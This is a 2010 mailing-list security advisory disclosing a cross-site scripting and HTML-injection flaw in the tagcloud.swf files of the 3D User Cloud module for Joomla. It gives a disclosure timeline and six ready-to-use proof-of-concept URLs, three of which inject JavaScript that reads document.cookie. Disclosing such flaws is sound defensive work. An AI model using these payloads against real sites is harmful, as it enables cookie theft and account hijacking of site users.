The Joomla 3d User Cloud module cross site scripting

Text : 

Hello Bugtraq!

I want to warn you about security vulnerability in module 3D user cloud
for
Joomla.

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Advisory: Vulnerability in 3D user cloud for Joomla
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URL: http://websecurity.com.ua/4198/
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Affected product: all versions of 3D user cloud (mod_democbusr3dcloud,
mod_cbusr3dcloud and mod_usr3dcloud) for Joomla.
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Timeline:

10.05.2010 - found vulnerability.
14.05.2010 - disclosed at my site.
15.05.2010 - informed developers.
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Details:

This is Cross-Site Scripting vulnerability.

This XSS is similar to XSS vulnerability in WP-Cumulus and other web
applications which I already reported to security mailing lists, because
it's using tagcloud.swf made by author of WP-Cumulus. About millions of
flash files tagcloud.swf which are vulnerable to XSS attacks I mentioned
in
my article XSS vulnerabilities in 34 millions flash files
(http://www.webappsec.org/lists/websecurity/archive/2010-01/msg00035.html).


There are three version of the module: mod_democbusr3dcloud (demo version)
and mod_cbusr3dcloud and mod_usr3dcloud (full versions). Flash files are
tagcloud.swf and tagcloud_rus.swf.

XSS:

http://site/modules/mod_democbusr3dcloud/tagcloud.swf?mode=tags&tagclou
d=%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:
+40pt'%3EClick%20me%3C/a%3E%3C/tags%3E

http://site/modules/mod_cbusr3dcloud/tagcloud.swf?mode=tags&tagcloud=%3
Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+40p
t'%3EClick%20me%3C/a%3E%3C/tags%3E

http://site/modules/mod_usr3dcloud/tagcloud_rus.swf?mode=tags&tagcloud=
%3Ctags%3E%3Ca+href='javascript:alert(document.cookie)'+style='font-size:+4
0pt'%3EClick%20me%3C/a%3E%3C/tags%3E

Code will execute after click. It's strictly social XSS.

Also it's possible to conduct (like in WP-Cumulus) HTML Injection attack,
including in those flash files which have protection (in flash files or
via
WAF) against javascript and vbscript URI in parameter tagcloud.

HTML Injection:

http://site/modules/mod_democbusr3dcloud/tagcloud.swf?mode=tags&tagclou
d=%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3
EClick%20me%3C/a%3E%3C/tags%3E

http://site/modules/mod_cbusr3dcloud/tagcloud.swf?mode=tags&tagcloud=%3
Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3ECli
ck%20me%3C/a%3E%3C/tags%3E

http://site/modules/mod_usr3dcloud/tagcloud_rus.swf?mode=tags&tagcloud=
%3Ctags%3E%3Ca+href='http://websecurity.com.ua'+style='font-size:+40pt'%3EC
lick%20me%3C/a%3E%3C/tags%3E

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua